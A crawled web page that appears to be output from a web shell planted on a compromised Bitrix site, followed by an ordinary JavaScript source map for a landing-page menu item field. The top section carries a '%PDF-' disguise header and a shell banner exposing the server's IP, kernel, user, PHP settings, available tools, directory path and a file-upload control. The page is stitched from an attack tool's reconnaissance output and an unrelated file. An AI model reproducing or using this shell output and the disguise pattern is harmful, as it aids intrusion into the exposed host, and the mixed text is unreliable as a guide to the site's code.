%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.14.130.230 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/menuitemfield/dist/ |
Upload File : |
{"version":3,"file":"menuitemfield.bundle.js","sources":["../src/menuitemfield.js"],"sourcesContent":["import {Dom} from 'main.core';\nimport {BaseField} from 'landing.ui.field.basefield';\nimport {MenuForm} from 'landing.ui.form.menuform';\n\n/**\n * @memberOf BX.Landing.UI.Field\n */\nexport class MenuItemField extends BaseField\n{\n\tconstructor(options = {})\n\t{\n\t\tsuper(options);\n\t\tthis.depth = options.depth;\n\t\tthis.fields = options.fields;\n\n\t\tif (this.depth > 0)\n\t\t{\n\t\t\tconst levelPadding = 20;\n\t\t\tDom.style(this.layout, 'margin-left', `${levelPadding * this.depth}px`);\n\t\t}\n\n\t\tthis.form = new MenuForm({\n\t\t\tfields: this.fields,\n\t\t});\n\n\t\tDom.append(this.form.layout, this.layout);\n\t}\n}"],"names":["MenuItemField","options","depth","fields","levelPadding","Dom","style","layout","form","MenuForm","append","BaseField"],"mappings":";;;;;;CAIA;;;;AAGA,KAAaA,aAAb;CAAA;;CAEC,2BACA;CAAA;;CAAA,QADYC,OACZ,uEADsB,EACtB;CAAA;CACC,+GAAMA,OAAN;CACA,UAAKC,KAAL,GAAaD,OAAO,CAACC,KAArB;CACA,UAAKC,MAAL,GAAcF,OAAO,CAACE,MAAtB;;CAEA,QAAI,MAAKD,KAAL,GAAa,CAAjB,EACA;CACC,UAAME,YAAY,GAAG,EAArB;CACAC,MAAAA,aAAG,CAACC,KAAJ,CAAU,MAAKC,MAAf,EAAuB,aAAvB,YAAyCH,YAAY,GAAG,MAAKF,KAA7D;CACA;;CAED,UAAKM,IAAL,GAAY,IAAIC,iCAAJ,CAAa;CACxBN,MAAAA,MAAM,EAAE,MAAKA;CADW,KAAb,CAAZ;CAIAE,IAAAA,aAAG,CAACK,MAAJ,CAAW,MAAKF,IAAL,CAAUD,MAArB,EAA6B,MAAKA,MAAlC;CAfD;CAgBC;;CAnBF;CAAA,EAAmCI,oCAAnC;;;;;;;;"}